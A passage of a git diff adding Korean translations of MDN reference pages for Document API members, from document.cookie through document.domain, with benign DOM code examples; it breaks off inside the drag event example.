The reason for the syntax of the document.cookie accessor property is due to the client-server nature of cookies, which differs from other client-client storage methods (like, for instance, localStorage):

+ + + +
HTTP/1.0 200 OK
+Content-type: text/html
+Set-Cookie: cookie_name1=cookie_value1
+Set-Cookie: cookie_name2=cookie_value2; expires=Sun, 16 Jul 3567 06:23:41 GMT
+
+[content of the page here]
+ +

The client sends back to the server its cookies previously stored

+ +
GET /sample_page.html HTTP/1.1
+Host: www.example.org
+Cookie: cookie_name1=cookie_value1; cookie_name2=cookie_value2
+Accept: */*
+
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("DOM2 HTML", "html.html#ID-8747038", "Document.cookie")}}{{Spec2("DOM2 HTML")}}Initial definition
{{SpecName("Cookie Prefixes")}}{{Spec2("Cookie Prefixes")}}
+ +

Browser compatibility

+ + + +

{{Compat("api.Document.cookie")}}

+ +

See also

+ + diff --git a/files/ko/web/api/document/createdocumentfragment/index.html b/files/ko/web/api/document/createdocumentfragment/index.html new file mode 100644 index 0000000000..7c4fb33469 --- /dev/null +++ b/files/ko/web/api/document/createdocumentfragment/index.html @@ -0,0 +1,134 @@ +--- +title: Document.createDocumentFragment() +slug: Web/API/Document/createDocumentFragment +translation_of: Web/API/Document/createDocumentFragment +--- +
{{ApiRef("DOM")}}
+ +

새로운 빈 {{domxref("DocumentFragment")}} 를 생성합니다.

+ +

Syntax

+ +
var docFragment = document.createDocumentFragment();
+
+ +

docFragment 는 빈 {{domxref("DocumentFragment")}} 객체를 나타냅니다.

+ +

Description

+ +

DocumentFragments 는 DOM 노드들 입니다. 이것들은 메인 DOM 트리의 일부가 되지 않습니다. 일반적인 유즈 케이스는 다큐먼트 조각을 생성하고, 엘리먼트들을 다큐먼트 조각에 추가하고 그 다큐먼트 조각을 DOM 트리에 추가하는 것입니다. DOM 트리 내에서 다큐먼트 조각은 그것의 모든 자식들로 대체됩니다.

+ +

메모리 내에 다큐먼트 조각이 존재하고 메인 DOM 트리의 일부가 아니라면, 이것에 자식들을 추가하는 것은 페이지 reflow (엘리먼트의 위치와 좌표의 계산) 를 유발하지 않습니다. 따라서, 다큐먼트 조각을 사용하는 것은 보통 better performance 의 결과를 가져옵니다.

+ +

Example

+ +
var ul = document.getElementsByTagName("ul")[0]; // assuming it exists
+var docfrag = document.createDocumentFragment();
+var browserList = ["Internet Explorer", "Firefox", "Safari",
+    "Chrome", "Opera"];
+
+browserList.forEach(function(e) {
+  var li = document.createElement("li");
+  li.textContent = e;
+  docfrag.appendChild(li);
+});
+
+ul.appendChild(docfrag);
+// a list with well-known web browsers
+
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG', '#dom-document-createdocumentfragment', 'Document.createDocumentFragment()')}}{{Spec2('DOM WHATWG')}}No change
{{SpecName('DOM4', '#dom-document-createdocumentfragment', 'Document.createDocumentFragment()')}}{{Spec2('DOM4')}}Clarifies that the node document of the created document fragment is the context object.
{{SpecName('DOM3 Core', 'core.html#ID-35CB04B5', 'Document.createDocumentFragment()')}}{{Spec2('DOM3 Core')}}No change
{{SpecName('DOM2 Core', 'core.html#ID-35CB04B5', 'Document.createDocumentFragment()')}}{{Spec2('DOM2 Core')}}No change
{{SpecName('DOM1', 'level-one-core.html#ID-35CB04B5', 'Document.createDocumentFragment()')}}{{Spec2('DOM1')}}Initial definition
+ +

Browser compatibility

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureFirefox (Gecko)ChromeInternet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureFirefox Mobile (Gecko)AndroidIE MobileOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

See also

+ + diff --git a/files/ko/web/api/document/createelement/index.html b/files/ko/web/api/document/createelement/index.html new file mode 100644 index 0000000000..6cb461eeb5 --- /dev/null +++ b/files/ko/web/api/document/createelement/index.html @@ -0,0 +1,101 @@ +--- +title: Document.createElement() +slug: Web/API/Document/createElement +tags: + - API + - DOM + - Document + - Method + - Reference + - Web +translation_of: Web/API/Document/createElement +--- +
{{APIRef("DOM")}}
+ +

HTML 문서에서, Document.createElement() 메서드는 지정한 tagName의 HTML 요소를 만들어 반환합니다. tagName을 인식할 수 없으면 {{domxref("HTMLUnknownElement")}}를 대신 반환합니다.

+ +

구문

+ +
let element = document.createElement(tagName[, options]);
+ +

매개변수

+ +
+
tagName
+
생성할 요소의 유형을 가리키는 문자열.
+
options {{optional_inline}}
+
is 속성 하나를 가진 ElementCreationOptions 객체. 속성의 값은 customElements.define()을 사용해 정의한 사용자 정의 요소입니다.
+
+ +

반환 값

+ +

새로운 {{domxref("Element")}}.

+ +

예제

+ +

아래 예제는 새로운 <div> 엘리먼트를 생성한 후, ID가 "div1" 인 요소 이전에 추가합니다.

+ +

HTML

+ +
<!DOCTYPE html>
+<html>
+<head>
+  <title>||Working with elements||</title>
+</head>
+<body>
+  <div id="div1">위의 텍스트는 동적으로 추가했습니다.</div>
+</body>
+</html>
+ +

JavaScript

+ +
document.body.onload = addElement;
+
+function addElement () {
+  // create a new div element
+  var newDiv = document.createElement("div");
+  // and give it some content
+  var newContent = document.createTextNode("환영합니다!");
+  // add the text node to the newly created div
+  newDiv.appendChild(newContent);
+
+  // add the newly created element and its content into the DOM
+  var currentDiv = document.getElementById("div1");
+  document.body.insertBefore(newDiv, currentDiv);
+}
+ +

{{EmbedLiveSample("예제", 500, 50)}}

+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG', "#dom-document-createelement", "Document.createElement")}}{{Spec2('DOM WHATWG')}} 
+ +

브라우저 호환성

+ +

{{Compat("api.Document.createElement")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/document/createelementns/index.html b/files/ko/web/api/document/createelementns/index.html new file mode 100644 index 0000000000..6fee5b6d80 --- /dev/null +++ b/files/ko/web/api/document/createelementns/index.html @@ -0,0 +1,173 @@ +--- +title: Document.createElementNS() +slug: Web/API/Document/createElementNS +translation_of: Web/API/Document/createElementNS +--- +
{{ApiRef("DOM")}}
+ +

지정된 네임스페이스 URI와 적합한 이름으로 엘리먼트를 만든다.

+ +

네임스페이스 URI를 지정하지 않고 엘리먼트를 만들려면 createElement메소드를 사용하라.

+ +

Syntax

+ +
var element = document.createElementNS(namespaceURI, qualifiedName[, options]);
+
+ +

Parameters

+ +
+
namespaceURI
+
A string that specifies the namespace URI to associate with the element. The namespaceURI property of the created element is initialized with the value of namespaceURI. See Valid Namespace URIs.
+
qualifiedName
+
A string that specifies the type of element to be created. The nodeName property of the created element is initialized with the value of qualifiedName.
+
optionsOptional
+
An optional ElementCreationOptions object containing a single property named is, whose value is the tag name for a custom element previously defined using customElements.define(). For backwards compatibility with previous versions of the Custom Elements specification, some browsers will allow you to pass a string here instead of an object, where the string's value is the custom element's tag name. See Extending native HTML elements for more information on how to use this parameter.
+
The new element will be given an is attribute whose value is the custom element's tag name. Custom elements are an experimental feature only available in some browsers.
+
+ +

Return value

+ +

The new Element.

+ +

Valid Namespace URIs

+ + + +

Example

+ +

This creates a new <div> element in the XHTML namespace and appends it to the vbox element. Although this is not an extremely useful XUL document, it does demonstrate the use of elements from two different namespaces within a single document:

+ +
<?xml version="1.0"?>
+<page xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"
+      xmlns:html="http://www.w3.org/1999/xhtml"
+      title="||Working with elements||"
+      onload="init()">
+
+<script type="text/javascript"><![CDATA[
+ var container;
+ var newdiv;
+ var txtnode;
+
+ function init(){
+   container = document.getElementById("ContainerBox");
+   newdiv = document.createElementNS("http://www.w3.org/1999/xhtml","div");
+   txtnode = document.createTextNode("This is text that was constructed dynamically with createElementNS and createTextNode then inserted into the document using appendChild.");
+   newdiv.appendChild(txtnode);
+   container.appendChild(newdiv);
+ }
+
+]]></script>
+
+ <vbox id='ContainerBox' flex='1'>
+  <html:div>
+   The script on this page will add dynamic content below:
+  </html:div>
+ </vbox>
+
+</page>
+
+ +
+

The example given above uses inline script which is not recommended in XHTML documents. This particular example is actually an XUL document with embedded XHTML, however, the recommendation still applies.

+
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG', "#dom-document-createelementns", "Document.createElement")}}{{Spec2('DOM WHATWG')}} 
+ +

Browser compatibility

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
options argument{{CompatVersionUnknown}}[1]{{CompatNo}}{{CompatGeckoDesktop(50)}}[2][3]{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +

[1] In previous versions of the specification, this argument was just a string whose value was the custom element's tag name. For the sake of backwards compatibility, Chrome accepts both forms.

+ +

[2] See [1] above: like Chrome, Firefox accepts a string instead of an object here, but only from version 51 onwards. In version 50,  options must be an object.

+ +

[3] To experiment with custom elements in Firefox, you must set the dom.webcomponents.enabled and dom.webcomponents.customelements.enabled preferences to true.

+ +

See also

+ + diff --git a/files/ko/web/api/document/createrange/index.html b/files/ko/web/api/document/createrange/index.html new file mode 100644 index 0000000000..655add378f --- /dev/null +++ b/files/ko/web/api/document/createrange/index.html @@ -0,0 +1,33 @@ +--- +title: Document.createRange() +slug: Web/API/Document/createRange +translation_of: Web/API/Document/createRange +--- +
{{APIRef("DOM")}}
+ +

새 {{domxref("Range")}} 객체를 리턴합니다.

+ +

문법

+ +
range = document.createRange();
+
+ +

range 는 생성된 {{domxref("Range")}} 객체입니다.

+ +

예제

+ +
var range = document.createRange();
+
+range.setStart(startNode, startOffset);
+range.setEnd(endNode, endOffset);
+
+ +

노트

+ +

Range 객체의 대부분의 메소드들은 Range 객체가 생성 된 후, 바운더리 포인트를 지정해야 사용할 수 있습니다.

+ +

명세

+ + diff --git a/files/ko/web/api/document/createtextnode/index.html b/files/ko/web/api/document/createtextnode/index.html new file mode 100644 index 0000000000..2da7134fbb --- /dev/null +++ b/files/ko/web/api/document/createtextnode/index.html @@ -0,0 +1,60 @@ +--- +title: Document.createTextNode() +slug: Web/API/Document/createTextNode +tags: + - DOM + - Gecko +translation_of: Web/API/Document/createTextNode +--- +
{{APIRef("DOM")}}
+ +

요약

+ +

텍스트 노드를 생성합니다.

+ +

문법

+ +
텍스트 = document.createTextNode(데이터);
+
+ +

매개변수

+ + + +

예제

+ +
<html>
+<head>
+<title>createTextNode 예제</title>
+
+<script type="text/javascript">
+
+function addTextNode()
+{
+var newtext = document.createTextNode(" 동적으로 추가되는 텍스트. ");
+var para = document.getElementById("p1");
+para.appendChild(newtext);
+}
+
+</script>
+</head>
+
+<body>
+<div style="border: 1px solid red">
+<p id="p1">단락의 첫번째 줄.<br /></p>
+</div><br />
+
+<button onclick="addTextNode();">TextNode 추가하기.</button>
+
+</body>
+</html>
+
+ +

규약

+ +

createTextNode

+ +

{{ languages( { "en": "en/DOM/document.createTextNode", "fr": "fr/DOM/document.createTextNode", "pl": "pl/DOM/document.createTextNode" } ) }}

diff --git a/files/ko/web/api/document/createtreewalker/index.html b/files/ko/web/api/document/createtreewalker/index.html new file mode 100644 index 0000000000..3becf1e6f4 --- /dev/null +++ b/files/ko/web/api/document/createtreewalker/index.html @@ -0,0 +1,160 @@ +--- +title: Document.createTreeWalker() +slug: Web/API/Document/createTreeWalker +tags: + - API + - DOM + - Document + - Method + - Reference +translation_of: Web/API/Document/createTreeWalker +--- +
{{ApiRef("Document")}}
+ +

Document.createTreeWalker() 메소드는 새로운 {{domxref("TreeWalker")}} 객체를 반환합니다.

+ +

구문

+ +
document.createTreeWalker(root, whatToShow[, filter[, entityReferenceExpansion]]);
+
+ +

매개변수

+ +
+
root
+
이 {{domxref("TreeWalker")}} 순회의 루트 {{domxref("Node")}}이다. 이것은 보통 이 문서 소유의 한 엘리먼트이다.
+
whatToShow {{optional_inline}}
+
NodeFilter의 상수 프라퍼티들을 조합하여 만든 비트마스크를 나타내는 선택적인 unsigned long 이다. 이것은 특정 유형의 노드를 필터링하는 편리한 방법이다. 기본값은 SHOW_ALL 상수를 나타내는 0xFFFFFFFF이다. + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
상수숫자 값설명
NodeFilter.SHOW_ALL-1 (unsigned long의 최대 값)Shows all nodes.
NodeFilter.SHOW_ATTRIBUTE {{deprecated_inline}}2Shows attribute {{domxref("Attr")}} nodes. This is meaningful only when creating a {{domxref("TreeWalker")}} with an {{domxref("Attr")}} node as its root; in this case, it means that the attribute node will appear in the first position of the iteration or traversal. Since attributes are never children of other nodes, they do not appear when traversing over the document tree.
NodeFilter.SHOW_CDATA_SECTION {{deprecated_inline}}8Shows {{domxref("CDATASection")}} nodes.
NodeFilter.SHOW_COMMENT128Shows {{domxref("Comment")}} nodes.
NodeFilter.SHOW_DOCUMENT256Shows {{domxref("Document")}} nodes.
NodeFilter.SHOW_DOCUMENT_FRAGMENT1024Shows {{domxref("DocumentFragment")}} nodes.
NodeFilter.SHOW_DOCUMENT_TYPE512Shows {{domxref("DocumentType")}} nodes.
NodeFilter.SHOW_ELEMENT1Shows {{domxref("Element")}} nodes.
NodeFilter.SHOW_ENTITY {{deprecated_inline}}32Shows {{domxref("Entity")}} nodes. This is meaningful only when creating a {{domxref("TreeWalker")}} with an {{domxref("Entity")}} node as its root; in this case, it means that the {{domxref("Entity")}} node will appear in the first position of the traversal. Since entities are not part of the document tree, they do not appear when traversing over the document tree.
NodeFilter.SHOW_ENTITY_REFERENCE {{deprecated_inline}}16Shows {{domxref("EntityReference")}} nodes.
NodeFilter.SHOW_NOTATION {{deprecated_inline}}2048Shows {{domxref("Notation")}} nodes. This is meaningful only when creating a {{domxref("TreeWalker")}} with a {{domxref("Notation")}} node as its root; in this case, it means that the {{domxref("Notation")}} node will appear in the first position of the traversal. Since entities are not part of the document tree, they do not appear when traversing over the document tree.
NodeFilter.SHOW_PROCESSING_INSTRUCTION64Shows {{domxref("ProcessingInstruction")}} nodes.
NodeFilter.SHOW_TEXT4Shows {{domxref("Text")}} nodes.
+
+
filter {{optional_inline}}
+
선택적인 {{domxref("NodeFilter")}}이다. {{domxref("TreeWalker")}}가 whatToShow 체크를 통과한 노드의 승인여부를 판단하기 위해 호출하는 acceptNode 메소드를 가진 객체이다.
+
entityReferenceExpansion {{optional_inline}} {{obsolete_inline}}
+
한 {{domxref("EntityReference")}}를 버릴 때 그 전체 하위 트리를 같이 버려야하는지를 나타내는 {{domxref("Boolean")}} 플래그이다.
+
+ +

반환 값

+ +

새로운 {{domxref("TreeWalker")}} 객체.

+ +

예제

+ +

다음 예제는 body의 모든 노드들을 순회하고, 노드의 집합을 엘리먼트로 줄이고, 단순히 각 노드를 승인하고 (대신 acceptNode() 메소드에서 그 집합을 줄일 수도 있다), 노드들(지금은 모두 엘리먼트지만)을 전진하기 위해 생성된 트리 워커 반복자를 이용하여 배열에 푸시한다.

+ +
var treeWalker = document.createTreeWalker(
+  document.body,
+  NodeFilter.SHOW_ELEMENT,
+  { acceptNode: function(node) { return NodeFilter.FILTER_ACCEPT; } },
+  false
+);
+
+var nodeList = [];
+
+while(treeWalker.nextNode()) nodeList.push(treeWalker.currentNode);
+
+ +

명세

+ + + + + + + + + + + + + + + + + + + +
명세상태주석
{{SpecName('DOM WHATWG', '#dom-document-createtreewalker', 'Document.createTreeWalker')}}{{Spec2('DOM WHATWG')}}Removed the expandEntityReferences parameter. Made the whatToShow and filter parameters optionals.
{{SpecName('DOM2 Traversal_Range', 'traversal.html#NodeIteratorFactory-createTreeWalker', 'Document.createTreeWalker')}}{{Spec2('DOM2 Traversal_Range')}}Initial definition
+ +

브라우저 호환성

+ +

{{Compat("api.Document.createTreeWalker")}}

+ +

참고

+ + diff --git a/files/ko/web/api/document/defaultview/index.html b/files/ko/web/api/document/defaultview/index.html new file mode 100644 index 0000000000..de6d2c5e25 --- /dev/null +++ b/files/ko/web/api/document/defaultview/index.html @@ -0,0 +1,46 @@ +--- +title: Document.defaultView +slug: Web/API/Document/defaultView +tags: + - API + - Document + - HTML DOM + - Property + - Reference +translation_of: Web/API/Document/defaultView +--- +
{{ApiRef}}
+ +

브라우저의 document.defaultView는 {{glossary("browsing context", "문서")}}와 연결된 {{domxref("Window", "window")}} 객체를 반환합니다. 가능하지 않은 경우 {{jsxref("null")}}을 대신 반환합니다.

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#dom-document-defaultview', 'Document.defaultView')}}{{Spec2('HTML WHATWG')}}No change
{{SpecName('HTML5 W3C', 'browsers.html#dom-document-defaultview', 'Document.defaultView')}}{{Spec2('HTML5 W3C')}}Initial definition
+ +

브라우저 호환성

+ +
+ + +

{{Compat("api.Document.defaultView")}}

+
diff --git a/files/ko/web/api/document/designmode/index.html b/files/ko/web/api/document/designmode/index.html new file mode 100644 index 0000000000..179f9dedee --- /dev/null +++ b/files/ko/web/api/document/designmode/index.html @@ -0,0 +1,50 @@ +--- +title: Document.designMode +slug: Web/API/Document/designMode +translation_of: Web/API/Document/designMode +--- +
{{ ApiRef() }}
+ +

document.designMode는 전체 document의 편집 가능 여부를 제어합니다. 유효한 값은 "on" 과 "off" 입니다. 명세에 따르면, 이 속성은 기본적으로 "off"로 설정되어 있습니다. Firefox는 이 표준 명세를 따릅니다. Chrome과 IE의 초기 버전들에서는 "inherit" 로 설정되어 있습니다. IE6-10 브라우저에서는, 값이 대문자로 표기됩니다.

+ +

Syntax

+ +
var mode = document.designMode;
+document.designMode = "on";
+document.designMode = "off";
+ +

Example

+ +

{{HTMLElement("iframe")}}의 document를 편집 가능하게 설정합니다.

+ +
iframeNode.contentDocument.designMode = "on";
+
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#making-entire-documents-editable:-the-designmode-idl-attribute', 'designMode')}}{{Spec2('HTML WHATWG')}}Initial definition.
+ +

Browser compatibility

+ +

{{Compat("api.Document.designMode")}}

+ +

See also

+ + diff --git a/files/ko/web/api/document/doctype/index.html b/files/ko/web/api/document/doctype/index.html new file mode 100644 index 0000000000..228c3b595d --- /dev/null +++ b/files/ko/web/api/document/doctype/index.html @@ -0,0 +1,58 @@ +--- +title: Document.doctype +slug: Web/API/Document/doctype +translation_of: Web/API/Document/doctype +--- +
{{ApiRef("DOM")}}
+ +

현재 document와 연관된 DTD(Document Type Declaration)를 반환합니다. 반환된 object는  {{domxref("DocumentType")}} 인터페이스를 구현합니다. DocumentType을 작성하려면 {{domxref("DOMImplementation.createDocumentType()")}}를 사용합니다.

+ +

Syntax

+ +
doctype = document.doctype;
+
+ + + +

Example

+ +
var doctypeObj = document.doctype;
+
+console.log(
+  "doctypeObj.name: "           + doctypeObj.name            + "\n" +
+  "doctypeObj.internalSubset: " + doctypeObj.internalSubset  + "\n" +
+  "doctypeObj.publicId: "       + doctypeObj.publicId        + "\n" +
+  "doctypeObj.systemId: "       + doctypeObj.systemId
+);
+ +

Notes

+ +

현재 document와 연관된 DTD가 없으면, 이 property는 null을 반환합니다.

+ +

DOM level 2는 document type 선언 편집을 지원하지 않습니다. (read-only)

+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("DOM3 Core", "core.html#ID-B63ED1A31", "Document.doctype")}}{{Spec2("DOM3 Core")}}{{HTMLElement("html")}} element가 없는 HTML documents문서에 대한 리턴 값이 변경되었습니다. document type을 변경할 수 있도록 정의합니다.
{{SpecName("DOM2 Core", "core.html#ID-B63ED1A31", "Document.doctype")}}{{Spec2("DOM2 Core")}}초기 선언.
diff --git a/files/ko/web/api/document/document/index.html b/files/ko/web/api/document/document/index.html new file mode 100644 index 0000000000..6706d05e0e --- /dev/null +++ b/files/ko/web/api/document/document/index.html @@ -0,0 +1,43 @@ +--- +title: Document() +slug: Web/API/Document/Document +tags: + - API + - Constructor + - DOM + - Document + - Reference +translation_of: Web/API/Document/Document +--- +
{{APIRef}}
+ +

Document 생성자는 브라우저에 로드되고 페이지 컨텐츠로의 진입점으로써 제공되는 웹 페이지인 새로운 {{domxref("Document")}} 객체를 생성합니다.

+ +

구문

+ +
new Document()
+ +

명세

+ + + + + + + + + + + + + + + + +
명세상태코멘트
{{SpecName('DOM WHATWG','#dom-document-document','Document')}}{{Spec2('DOM WHATWG')}}초기 정의.
+ +

브라우저 호환성

+ + + +
{{Compat("api.Document.Document")}}
diff --git a/files/ko/web/api/document/documentelement/index.html b/files/ko/web/api/document/documentelement/index.html new file mode 100644 index 0000000000..429fce87c4 --- /dev/null +++ b/files/ko/web/api/document/documentelement/index.html @@ -0,0 +1,60 @@ +--- +title: Document.documentElement +slug: Web/API/Document/documentElement +tags: + - API + - DOM + - Document + - Property + - Reference + - ㅈ +translation_of: Web/API/Document/documentElement +--- +
{{ApiRef("DOM")}}
+ +

Document.documentElement 읽기 전용 속성은 문서의 루트 요소를 나타내는 {{domxref("Element")}}를 반환합니다. HTML 문서를 예로 들면 {{htmlelement("html")}} 요소를 반환합니다.

+ +

구문

+ +
const element = document.documentElement
+
+ +

예제

+ +
const rootElement = document.documentElement;
+const firstTier = rootElement.childNodes;
+// firstTier is a NodeList of the direct children of the root element
+// such as <head> and <body>
+
+for (const child of firstTier) {
+   // do something with each direct child of the root element
+}
+ +

참고

+ +

모든 비어있지 않은 HTML 문서의 documentElement는 항상 {{htmlelement("html")}} 요소를 가리킵니다. 모든 비어있지 않은 XML 문서의 documentElement는 종류불문하고 해당 문서의 루트 요소를 가리킵니다.

+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG','#dom-document-documentelement','Document.documentElement')}}{{Spec2('DOM WHATWG')}}
+ +

브라우저 호환성

+ + + +

{{Compat("api.Document.documentElement")}}

diff --git a/files/ko/web/api/document/documenturi/index.html b/files/ko/web/api/document/documenturi/index.html new file mode 100644 index 0000000000..51f8d795c8 --- /dev/null +++ b/files/ko/web/api/document/documenturi/index.html @@ -0,0 +1,116 @@ +--- +title: Document.documentURI +slug: Web/API/Document/documentURI +tags: + - URL + - documentURI +translation_of: Web/API/Document/documentURI +--- +
{{ApiRef("DOM")}}
+ +

{{domxref("Document")}} 인터페이스의 documentURI 속성은 document location 을 string 으로 반환합니다.

+ +

DOM3 에서 원래 이 속성은 읽기/쓰기 속성으로 정의되어 있습니다. DOM4 명세에서는 읽기 전용입니다.

+ +

Syntax

+ +
var string = document.documentURI;
+
+ +

Notes

+ +

HTML documents 는 동일한 값을 반환하는 {{domxref("document.URL")}} 속성을 가집니다. URL 과는 달리, documentURI 는 모든 타입의 documents 에서 이용 가능합니다.

+ +

Specifications

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM4', '#dom-document-documenturi','documentURI')}}{{Spec2('DOM4')}} 
{{SpecName('DOM3 Core', '#Document3-documentURI', 'documentURI')}}{{Spec2('DOM3 Core')}}Initial definition
+ +

Browser compatibility

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
DOM3 behavior{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}}
DOM4 behavior{{CompatChrome(43.0)}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatUnknown}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
DOM3 behavior{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}}
DOM4 behavior{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatChrome(43.0)}}
+
diff --git a/files/ko/web/api/document/domain/index.html b/files/ko/web/api/document/domain/index.html new file mode 100644 index 0000000000..35bed661f7 --- /dev/null +++ b/files/ko/web/api/document/domain/index.html @@ -0,0 +1,91 @@ +--- +title: Document.domain +slug: Web/API/Document/domain +tags: + - API + - Document + - HTML DOM + - Property + - Reference +translation_of: Web/API/Document/domain +--- +
{{ApiRef}}
+ +

{{domxref("Document")}} 인터페이스의 domain 속성은 동일 출처 정책에서 사용하는 현재 문서의 {{glossary("origin", "출처")}}에서 도메인 부분을 설정하거나 가져옵니다.

+ +

domain 속성을 성공적으로 설정하면 출처의 포트를 {{jsxref("null")}}로 설정합니다.

+ +

구문

+ +
const domainString = document.domain
+document.domain = domainString
+ +

+ +

현재 문서 출처의 도메인 부분.

+ +

예외

+ +
+
SecurityError
+
다음 상황에서 domain을 변경하려 시도한 경우. +
    +
  • 샌드박스 설정된 {{htmlelement("iframe")}} 요소에 속한 문서
  • +
  • {{glossary("browsing context", "브라우징 맥락")}}이 없는 문서
  • +
  • 문서의 유효 도메인null
  • +
  • 주어진 값이 문서의 유효 도메인과 같지 않거나, 등록 가능한 도메인 접미사가 아닌 경우
  • +
  • {{httpheader('Feature-Policy/document-domain','document-domain')}} {{HTTPHeader("Feature-Policy")}} 헤더가 설정된 경우
  • +
+
+
+ +

예제

+ +

도메인 가져오기

+ +

http://developer.mozilla.org/en-US/docs/Web 주소에서, 다음 코드는 currentDomain 변수에 "developer.mozilla.org"  문자열을 할당합니다.

+ +
const currentDomain = document.domain;
+ +

창 닫기

+ +

어느 문서, 예컨대 www.example.xxx/good.html 등이 www.example.com의 도메인을 가지고 있을 때, 다음 예제는 창을 닫으려 시도합니다.

+ +
const badDomain = "www.example.xxx";
+
+if (document.domain == badDomain) {
+  // 예시에 불과 (window.close()는 아무것도 하지 않을 수도 있음)
+  window.close();
+}
+
+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG','origin.html#relaxing-the-same-origin-restriction','Document.domain')}}{{Spec2('HTML WHATWG')}}
+ +

브라우저 호환성

+ + + +
{{Compat("api.Document.domain")}}
+ +

같이 보기

+ + diff --git a/files/ko/web/api/document/drag_event/index.html b/files/ko/web/api/document/drag_event/index.html new file mode 100644 index 0000000000..cdf5f4222f --- /dev/null +++ b/files/ko/web/api/document/drag_event/index.html @@ -0,0 +1,183 @@ +--- +title: drag +slug: Web/API/Document/drag_event +tags: + - API + - DOM + - Document + - Drag + - DragEvent + - Event + - Reference + - Web + - drag and drop +translation_of: Web/API/Document/drag_event +--- +
{{APIRef}}
+ +
+ +

drag 이벤트는 사용자가 요소 또는 텍스트를 드래그할 때 수백 밀리초마다 발생합니다.

+ + + + + + + + + + + + + + + + + + + + + + + + +
이벤트 버블링Yes
이벤트 취소Yes
기본 액션드래그 앤 드롭을 계속한다.
인터페이스{{domxref("DragEvent")}}
이벤트 핸들러 속성{{domxref("GlobalEventHandlers/ondrag", "ondrag")}}
+ +

Examples

+ +

JSFiddle demo에서 이 코드를 보거나 아래에서 상호작용 하십시오.

+ +

HTML

+ +
<div class="dropzone">
+  <div id="draggable" draggable="true" ondragstart="event.dataTransfer.setData('text/plain',null)">
+    This div is draggable
+  </div>
+</div>
+<div class="dropzone"></div>
+<div class="dropzone"></div>
+<div class="dropzone"></div>
+
+ +

CSS

+ +
#draggable {
+  width: 200px;
+  height: 20px;
+  text-align: center;
+  background: white;
+}
+
+.dropzone {
+  width: 200px;
+  height: 20px;
+  background: blueviolet;
+  margin-bottom: 10px;
+  padding: 10px;
+}
+
+ +

JavaScript

+ +
var dragged;
+
+/* 드래그 가능한 대상에서 이벤트 발생 */
+document.addEventListener("drag", function(event) {
+
+}, false);
+
+document.addEventListener("dragstart", function(event) {
+  // 드래그한 요소에 대한 참조 변수
+  dragged = event.target;
+  // 요소를 반투명하게 함
+  event.target.style.opacity = .5;
+}, false);
+
+document.addEventListener("dragend", function(event) {
+  // 투명도를 리셋
+  event.target.style.opacity = "";
+}, false);
+
+/* 드롭 대상에서 이벤트 발생 */
+document.addEventListener("dragover", function(event) {
+  // 드롭을 허용하도록 prevetDefault() 호출
+  event.preventDefault();
+}, false);
+
+document.addEventListener("dragenter", function(event) {
+  // 요소를 드롭하려는 대상 위로 드래그했을 때 대상의 배경색 변경
+  if (event.target.className == "dropzone") {
+    event.target.style.background = "purple";
+  }
+
+}, false);
+
+document.addEventListener("dragleave", function(event) {
+  // 요소를 드래그하여 드롭하려던 대상으로부터 벗어났을 때 배경색 리셋
+  if (event.target.className == "dropzone") {
+    event.target.style.background = "";
+  }
+
+}, false);
+
+document.addEventListener("drop", function(event) {
+  // 기본 액션을 막음 (링크 열기같은 것들)
+  event.preventDefault();
